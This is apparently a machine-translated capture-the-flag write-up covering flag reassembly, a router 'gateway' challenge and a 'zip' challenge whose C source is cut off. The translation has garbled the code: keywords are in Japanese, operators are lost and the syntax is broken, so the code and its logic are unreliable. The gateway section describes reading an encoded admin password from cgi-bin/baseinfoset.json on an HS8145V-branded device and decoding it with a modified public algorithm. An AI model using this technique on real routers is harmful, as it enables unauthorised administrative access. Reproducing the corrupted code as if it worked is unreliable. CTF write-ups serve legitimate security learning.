index、val=i.replace( '\ n'、 '').split( '')

index=int(index、16)

out [index]=val

flag=''

インデックス=0

out:のiの場合

print(hex(index)、i)

インデックス +=1

フラグ +=i

印刷(フラグ)

#flag {f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

1つが欠けていて、それを爆破して旗を取得します{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

ゲートウェイ

ゲートウェイソースコードを与え、index.htmlには製品名HS8145Vがあります

ydfgyvxszkv1069.png

クエリパスワード、cgi-bin/baseinfoset.jsonに一連のパスワードがあります

1jwtitpqyul1070.png

10611210110712710110449575653565456495151105561031064956505610310256521011041041021055310153102129

CGI-BIN/BASEINFOSET.JSONを検索します

https://github.com/iheshime/chinatelecom-esurfing-gateway-hg260-admin-password-algorithm

ゲートウェイ管理者の一般的な暗号化アルゴリズムであり、スクリプトがわずかに変更されたことがわかりました。

exp.py:

def passwd_decode(code) - str:

passwd_list=map(int、code.split( ''))

結果=[]

passwd_list:のiの場合

97=i=100または65=i=68:の場合

I +=22

Elif I 57:

i - =4

result.append(chr(i))

#print(i、chr(i))

return( '' .join(result))

passwd=passwd_decode( '10611210110712710110449575653565456495151105561031064956505610310256521011041021055310153102129')

印刷(passwd)

#flag {AD1985868133E8CF1828CB84ADBE5A5B}またはcode='106112101107127101104957565356545649515110556103103106495650561031025652101101021055310153102129' [:-1] 'baseinfoset_telecompassword':'1147355110693753113'list=map(int、code.split(' '))result=[] for for i in list: i- 57: i-=4 result.append(ch)プリント( '' .join(result))#flag {ad1985868133e8cf1828cb84adbe5a5b}

zip

#include arpa/inet.h

#include sys/wait.h

#include stdbool.h

#include stdlib.h

#include string.h

#include unistd.h

#include stdio.h

#include pty.h

Char Token [1024]、buf [1024];

void load(){

file *f=fopen( 'token.txt'、 'r');

fgets(token、sizeof(token)、f);

トークン[64]=0; //たぶん64バイトで十分です

fclose(f);

}

int cmmpstr(char const *a、char const *b){

MEMCMPを返します(a、b、strlen(a));

}

void zip(char *password){

intマスター、pid;

pid=forkpty(master、null、null、null);

if(pid==0){

char* argv []={'7z'、 'a'、 'flag.zip'、 'tmp/flag.txt'、 '-mem=aes256'、 '-p'、null};

execve( '/usr/bin/7z'、argv、null);

} それ以外{

CHARバッファー[4097];

while(true){

ssize_t n=read(master、buffer、4096);

if(n 0)break;

ffflush(stdout);

書き込み(1、バッファ、n);

バッファー[n]=0;